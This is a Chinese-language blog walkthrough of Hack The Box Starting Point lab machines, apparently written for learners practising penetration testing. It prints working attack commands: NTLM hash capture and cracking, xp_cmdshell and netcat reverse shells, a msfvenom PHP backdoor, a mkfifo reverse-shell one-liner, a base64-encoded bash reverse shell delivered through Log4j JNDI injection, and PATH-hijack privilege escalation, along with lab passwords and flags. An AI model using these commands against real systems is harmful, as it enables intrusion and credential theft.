第0层
第0层部分靶机免费,部分靶机收费。由于这部分太过简单,因此一笔带过。
第一关Meow是telnet靶场:https://www.bilibili.com/video/BV1nS4y137GQ
第二关Fawn是ftp靶场:https://www.bilibili.com/video/BV11F41147Kf
第三关Dancing是SMB靶场:https://www.bilibili.com/video/BV1nS4y137vm
第四关Redeemer是Redis靶场:https://www.theethicaldroid.com/hack-the-box/htb-walkthrough-tier-0-redeemer
第五关Explosion是RDP靶场(VIP):https://www.bilibili.com/video/BV1RL4y1T75j
第六关Preignition是目录爆破(VIP):https://www.bilibili.com/video/BV1qL411P76v
第1层
第1~3关
- 第一关Appointment(考察万能密码登录web):https://www.bilibili.com/video/BV1Fa411b77H
- 第二关Sequel(考察MariaDB):https://www.bilibili.com/video/BV1Ei4y1k7jP
- 第三关Crocodile(ftp下载敏感文件获取账号密码,目录爆破登录网页):https://www.bilibili.com/video/BV1rT4y1e7Nw
第4关:Responder
通关教程视频:https://www.bilibili.com/video/BV1GS4y1Y716
开启靶机后先下载一下通关攻略,个人觉得开局来个NTLM这种横向移动中才用到的技术,有点难为新手了。由于文档是全英文的,因此这里使用谷歌翻译处理一下,翻译效果还不错。
端口探测
探测到2个开放的端口
nmap -p- --min-rate 5000 -sV 10.129.72.220
网站探测
一看这个德行,就知道要修改hosts文件了。
页面上点击一番后,发现修改页面语言的时候URI地址发生了有趣的变化
根据通关攻略,发现了本地文件包含漏洞
本地文件包含漏洞利用
在靶场中,windows本地文件包含漏洞不算一个严重的漏洞,但是靶机开放了5985端口,我们就可以利用NTLM。这部分的内容比较复杂,不做解释。
攻击端准备
攻击者使用Responder监听tun0网卡,然后通过浏览器或者curl命令,让靶机包含来自SMB服务器的资源,在这种情况下,因为我们可以自由指定 SMB 共享的地址,所以我们指定了攻击机器的 IP 地址。现在服务器尝试从我们的 SMB 服务器加载资源,并且 Responder 捕获了足够的资源以获取 NetNTLMv2。NetNTLMv2 包括质询(随机文本)和加密响应。
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I tun0
爆破NTLM的哈希
- 解压字典:
gzip -d /usr/share/wordlists/rockyou.txt.gz
- 爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
连接靶机
我们将连接到目标上的 WinRM 服务并尝试获取会话。因为 Linux 上默认没有安装 PowerShell,所以我们将使用一个名为Evil-WinRM的工具,它是为这种情况而设计的。根据通关攻略得知Flag的位置。
evil-winrm -i 10.129.72.220 -u administrator -p badminton
第5关:Three
通关教程:https://ewan67.github.io/posts/htb-writeup-tier1-three/
这一关考察的是AWS S3,相信这一块对于国内的安全从业者还是挺陌生的,云安全的从业者并不多。按照教程可以打通这关,在文件上传的时候,我费了点时间。这里说几个注意事项。
- 爆破出子域名后,需要修改hosts文件,否则会导致文件上传失败
- 上传反弹shell的文件时,反弹的地址不可以写VPS的地址,必须写VPS的tun0网卡地址
- VPS放行nc监听的端口,才可以正常反弹shell
第6~9关(VIP)
第6关(Ignition):https://www.bilibili.com/video/BV1Ma41147ZF
第7关(Bike):https://www.bilibili.com/video/BV1434y147av
第8关(Pennyworth):https://www.bilibili.com/video/BV1FT4y1v7V4
第9关(Tactics):https://www.bilibili.com/video/BV1CL4y1L7kJ
第2层
第1关:Archetype
通关视频教程:https://www.bilibili.com/video/BV1R3411J7J2
通关文字教程:https://systemweakness.com/archetype-hackthebox-walkthrough-be99a1fba8ea
我这里依旧是下载官方攻略,并使用Google翻译把攻略翻译成中文,这一点已经在“第1层 → 第4关”中演示过。这个靶机主要是考察1443端口的Microsoft SQL Server。关于此端口的更多利用姿势参加:https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-os-commands
端口探测
注意到靶机上运行着Microsoft SQL Server,SMB服务。
nmap -p- 10.129.175.179 --min-rate 4000
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 10.129.175.179 -A
SMB探测
这里使用smbclient尝试连接靶机,直接连接的时候要密码,回车即可,发现可以连上。那么下次碰到这种情况就可以加上-N
参数,表示没有密码。通过下图注意到-N
参数如果位置不对,可能还是得输入密码。
探测发现backups目录中存在一个账号密码:ARCHETYPE\sql_svc、M3g4c0rp123
连接SQL服务
现在让我们远程登录到SQL Server,但是如何做到这一点?在官方攻略中,我们将找到一个名为“mssqlclient.py”的工具。此工具将使我们能够登录到目标的SQL Server服务器。
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
sudo python3 setup.py install
cd impacket/examples/
mssqlclient.py -h
发起连接:./mssqlclient.py Archetype/sql_svc@10.129.175.179 -windows-auth
尝试执行个命令看看呢?报错了,根据错误信息得知xp_cmdshell
然后怎么玩呢?谷歌搜索“xp_cmdshell”找到了微软的官方文档:https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?source=recommendations&view=sql-server-2016(手工把上面地址中的“en-us”修改为“zh-cn”可以看到中文文档,但是翻译的有点问题,所以下图使用的是英文文档)
接下来按照微软官方的教程,先确认自己是管理员权限,然后逐步启动“xp_cmdshell”来实现命令执行效果。
SELECT is_srvrolemember('sysadmin');
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell "whoami"
基于xp_cmdshell反弹shell
可以参见这篇文章:https://pentestwiki.org/academy/how-to-get-a-xp_cmdshell-reverse-shell/
由于我已经可以在SQL Server中执行命令了,因此我会让靶机下载一个nc反弹连接我。
- VPS下载nc:
wget https://github.com/int0x33/nc.exe/blob/master/nc.exe
- VPS开启web服务:
python -m http.server 80
- 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc.exe -OutFile c:\\Users\Public\\nc.exe"
- VPS开启端口监听:
nc -nvlp 4444
- 靶机运行nc上线:
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.175 4444"
结果是比较倒霉,上传的nc与系统不兼容,我刚才上传的应该是32位的,重新上传64位呢?于是来到官方攻略中提到的网站https://github.com/int0x33/nc.exe下载并上传了64位的,再次提示版本不兼容。还是得自己动手丰衣足食!在我之前的笔记中记录过windows通过nc上线:语雀地址、CSDN地址
- VPS下载并解压nc:
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unzip netcat-win32-1.11.zip
cd netcat-1.11
- VPS开启web服务:
python -m http.server 80
- 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc64.exe -outfile c:\\Users\Public\\nc64new.exe"
- VPS开启端口监听:
nc -nvlp 4444
- 靶机运行nc上线:
xp_cmdshell "c:\\Users\Public\\nc64new.exe -e cmd.exe 10.10.14.175 4444"
Flag
得到Flag:3e7b102e78218e935bf3f4951fec21a3
提权
这里使用工具:PEASS-ng
- VPS下载提权工具并投递:
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221016/winPEASx64.exe
python -m http.server 80
- 靶机下载工具,并运行它
powershell # 切换终端为powshell
wget http://10.10.14.175/winPEASx64.exe -outfile winPEASx64.exe
./winPEASx64.exe
- 发现敏感文件
直接运行提权脚本没有看到黄色高亮的漏洞,通过官方攻略得知存在一个敏感文件
账号密码:administrator、MEGACORP_4dm1n!!
连接靶机:python3 /home/kali/test/impacket/examples/psexec.py administrator@10.129.175.179
- 以管理员身份登录靶机,并拿到了最后一个Flag:b91ccec3305e98240082d4474b848528
第2关:Oopsie
通关视频:https://www.bilibili.com/video/BV173411T7Kp
端口探测
nmap -p- --min-rate 4000 -sV 10.129.88.18
网站探测
开局就是一个静态页面,啥都没有,直接目录爆破,这里比较遗憾,使用dirsearch没有爆破出有价值的结果,我当然可以更换别的字典,但是这会消耗我VPS不少流量,我决定换种方法。
BurpSuite目录发现
在上一篇文章中我介绍了我是使用“SSH本地socks5代理”技术来打靶的,因此我只需要配置一下BurpSuite的Socks5即可用它测试web
打开网站之后,bp发现了一个url,访问一下,看到了一个登录窗口,简单的密码爆破无果后,选择以访客模式进入网站,登录之后首先就注意到了uri中的id值是可以改变的,sqlmap一把梭,但是没有扫出来。既然没有SQL注入,那么最有可能是就是越权漏洞了。
越权漏洞
观察bp的流量包发现cookie值似乎和用户的身份有关,那么我能否通过修改cookie实现越权呢?
当把id改为1的时候,页面显示出了管理员的名字和对应的值,那么就修改一下cookie值验证是否能越权。
结果发现,变成管理员之后,文件上传功能可以使用了。记得目录爆破的时候发现了uploads
目录,这个时候就是文件上传反弹shell了。
文件上传反弹shell
这里演示MSF获取反弹shell。我这里第一次没有成功,看了攻略才知道如果shell文件不存在,有可能是靶机删除了,需要重新上传。
生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.175 LPORT=4444 -f raw > ./phpweb.php
开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.14.175
exploit
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
切换身份-flag1
通过敏感文件找到了robert用户的密码:M3g4C0rpUs3r!
得到Flag:f2c74ee8db7983851ab2a96a44eb7981
既然如此,就不用反弹的那个不好用的shell了,直接ssh登录
提权
常规提权方法失效,开始收集敏感文件。以前的思路是搜索“文件所有者是root、文件具有可执行权限、其他用户具有可写权限的所有文件”或者搜索“搜索既可执行,又有suid权限,所有者是root的文件”,但是搜索结果太多,肉眼看不出可疑文件。
根据官方攻略,思路拓宽了一些,根据id
发现当前用户属于bugtracker
组,于是:
- 搜索搜索属于这个组的所有文件:
find -group bugtracker 2>/dev/null
但是这种搜索的结果应该比较多(忽略此次只搜索出一个结果),我觉得命令应该改造一下:搜索文件所有者是root的文件,并且其他用于对此文件既可执行,又有suid权限,并且还属于某个组
find / -type f -user root -perm -u+sx -group bugtracker -ls 2>/dev/null
- 分析发现这个文件是个可执行文件,执行发现它在调用cat,由于没有使用绝对路径调用cat,那么就可以通过修改环境变量实现提权。
- 修改环境变量
# 查看当前环境变量
echo $PATH
# 把一个shell的路径写入到cat文件中,并确认环境变量写入成功
echo "/bin/bash" > cat
chmod +x cat
export PATH=/home/robert:$PATH
echo $PATH
# 运行可执行文件,以root权限拿到shell
/usr/bin/bugtracker
- 获取flag
由于cat命令被占用了,所以使用tail命令查看,得到Flag:af13b0bee69f8a877c3faf667f7beacf
额外补充,如果我非要用cat怎么办?有两种办法
- 使用绝对路径调用cat
- 删除我添加的环境变量
第3关:Vaccine
通关视频:https://www.bilibili.com/video/BV1KY411j7Pa
端口探测
发现开放了21,22,80端口,其中21端口支持匿名登录。
nmap -p- --min-rate 4000 -sV 10.129.204.126
nmap -p21,22,80 -A 10.129.204.126
21端口探测
发现了一个意思备份文件的压缩包
爆破压缩包-获取web账号密码
爆破得到解压密码:741852963
zip2john backup.zip > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip backup.zip
阅读爆破出的文件,发现了一个用户名和md5加密后的密码
使用在线平台获取到密码 qwerty789:https://www.cmd5.com/
登录web-sql注入反弹shell
登录之后看到一个搜索框,随便输入点数据,疑似SQL注入漏洞
sqlmap一把梭,发现确实存在sql注入:
sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd"
首先检查发现自己有DBA权限:
sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --is-dba
那就直接拿shell吧,这里进行了多次尝试,最终通过nc拿到shell
sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --os-shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.175 4444 >/tmp/f
python3 -c 'import pty; pty.spawn("/bin/bash")'
SSH登录-Flag1
在web目录下以pass
作为关键字,使用命令grep pass *
搜索,在”dashboard.php”中发现一组账号密码:postgres
、P@s5w0rd!
,然后顺利使用此账号密码SSH登录了靶机,拿到Flag:ec9b13ca4d6229cd5cc1e09980965bf7
提权-flag2
简单的sudo提权,用到了vi提权:https://gtfobins.github.io/gtfobins/vi/
得到flag:dd6e058e814260bc70e9bbdef2715849
第4关:Unified
通关视频:
端口探测
nmap -p- --min-rate 4000 -sV 10.129.171.50
nmap -p22,6789,8080,8443,8843,8880 -A 10.129.171.50
网站探测
打开网站如下图,根据 unifi 和版本号 6.4.54 在谷歌上搜索,搜素结果显示它似乎容易收到 log4j 漏洞的影响。我自然而然的就启动了BurpSuite,但是很奇怪,插件 log4j2scan 没有扫描出来。猜测应该是靶机出网流量受限(后面我们会证明这一点),在网上搜索一番后,找到了漏洞利用文章 (文章介绍了漏洞验证和漏洞利用,下面的所有操作都是围绕着这篇文章展开的)https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi
log4j漏洞利用(不出网)
注意,我们是通过搜索服务名称和版本号发现此漏洞的!
发送payload之后,收到一条错误提示,那到底有没有漏洞呢?LDAP运行的默认端口为389,让我们来看一下389端口的流量吧。结果抓到了流量,说明极有可能存在漏洞。
现在开始漏洞利用
攻击者准备:
- 安装openJDK
sudo apt update
sudo apt install openjdk-11-jdk -y
java --version
- 准备攻击工具Maven
sudo apt install maven
mvn -v
- 下载并构建Rogue-JNDI Java 应⽤程序
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
- 生成用于 JNDI 注入攻击的恶意 LDAP 服务器
echo 'bash -c bash -i >&/dev/tcp/10.10.14.175/4444 0>&1' | base64
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTc1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.175"
发送一下数据包,成功反弹shell
获取交互式shell:script /dev/null -c bash
替换MongoDB密码hash值
由于unifi需要MongoDB作为它的数据库,默认的数据库名是ace,所以我们先检查一下有没有MongoDB服务。同时文章指出,MongoDB能帮助提权,那么就来找一下MongoDB。
检查发现靶机在27117端口运行着MongoDB,尝试与MongoDB交互获取账号密码
ps aux | grep mongo
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
由于密码是$6$
开头的,通过靶场攻略得知这个是sha-512加密算法的特点,当然我也可以通过hashid证明。由于这种加密存在加盐,因此每次加密结果都不一样。现在爆破密码就算了,我还是生成一个新的来偷梁换柱。
hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
mkpasswd -m sha-512 123456
替换管理员的哈希值
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$uaBrPNpdaXCYReU7$xJ..g92Sl9QxUIvUpbvJRDH7DyUT3oWenGBZeLUXjYqOjcDh9TINtXb0aDoPBHYN/ZgCetNZmLnosZJkLaAJT1"}})'
登录unifi-获取SSH账号密码
使用账号密码administrator、123456登录系统,
找到了SSH登录靶机的账号密码:root、NotACrackablePassword4U2022
SSH登录root-2个flag
得到2个flag
- 用户的:6ced1a6a89e666c0620cdb10262ba127
- root的:e50bc93c75b634e4b272d2f771c33681
第5~6关(VIP)
第5关:https://www.bilibili.com/video/BV13S4y1A7N8
第6关:https://www.bilibili.com/video/BV1PZ4y127g9
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134210.html